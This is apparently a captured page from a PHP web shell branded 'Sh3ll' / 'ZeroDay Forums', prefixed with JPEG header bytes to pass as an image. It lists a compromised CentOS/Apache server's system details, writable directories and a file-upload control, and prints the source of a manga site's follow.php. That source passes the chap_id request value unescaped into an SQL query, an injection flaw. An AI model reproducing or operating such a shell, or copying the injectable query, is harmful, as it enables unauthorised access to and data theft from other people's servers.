ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/okanime.top/code/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/okanime.top/code/ajax/follow.php
<?php
global $memcache,$DB,$ip;
if(!isset($ob_user->user_id) or $ob_user->user_id==0){
    echo 'need_login';
    exit();
}
$chuong_id = $CORE->input['chap_id']??0;
$follow_id = $CORE->input['follow_id']??0;
$follow_id = intval($follow_id);
$row_chuong_check = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_id='$chuong_id' LIMIT 1 "));
$truyen_id = $row_chuong_check['truyen_id'];
$row_truyen = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' LIMIT 1"));
$row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE truyen_id='$truyen_id' ORDER BY chuong_pos DESC LIMIT 1 "));

$arr_insert = array('truyen_id'=>$row_chuong['truyen_id'],'chuong_id'=>$chuong_id,'user_id'=>intval($ob_user->user_id),'follow_ip'=>$ip,'date_post'=>date('Y-m-d'),'time_post'=>time(),'already_read'=>'','chuong_pos'=>$row_chuong['chuong_pos'],'truyen_name'=>$row_truyen['truyen_name'],'truyen_fname'=>$row_truyen['truyen_fname'],'truyen_thumb'=>$row_truyen['truyen_thumb'],'truyen_chuong_moinhat_time'=>$row_truyen['truyen_chuong_moinhat_time'],'truyen_chuong_moinhat_id'=>$row_truyen['truyen_chuong_moinhat_id'],'truyen_chuong_moinhat_name'=>$row_truyen['truyen_chuong_moinhat_name'],'truyen_chuong_moinhat_fname'=>$row_truyen['truyen_chuong_moinhat_fname']);
if(isset($ob_user->user_id) and intval($ob_user->user_id)>0){
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' AND user_id='".intval($ob_user->user_id)."' LIMIT 1"));
}else{
    echo 'need_login';
    exit();
}

if(!$row_check){
    $DB->do_insert('tb_follow',$arr_insert);
    $res = 'follow';
}else{
    if(isset($ob_user->user_id) and intval($ob_user->user_id)>0){
        $DB->query("DELETE FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' AND user_id='".intval($ob_user->user_id)."' ");
    }else{
        echo 'need_login';
        exit();
    }
    $res = 'unfollow';
}
/*$key_follow_list = md5(intval($ob_user->user_id).'_follow_list');
$memcache->set($key_follow_list, '', MEMCACHE_COMPRESSED, 0);*/

$row_total = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_follow WHERE truyen_id='".$row_chuong['truyen_id']."' "));
$DB->query("UPDATE tb_truyen SET truyen_theodoi='".$row_total['total']."' WHERE truyen_id='".$row_chuong['truyen_id']."' ");
echo $res.'@'.$row_total['total'];
exit();
?>

ZeroDay Forums Mini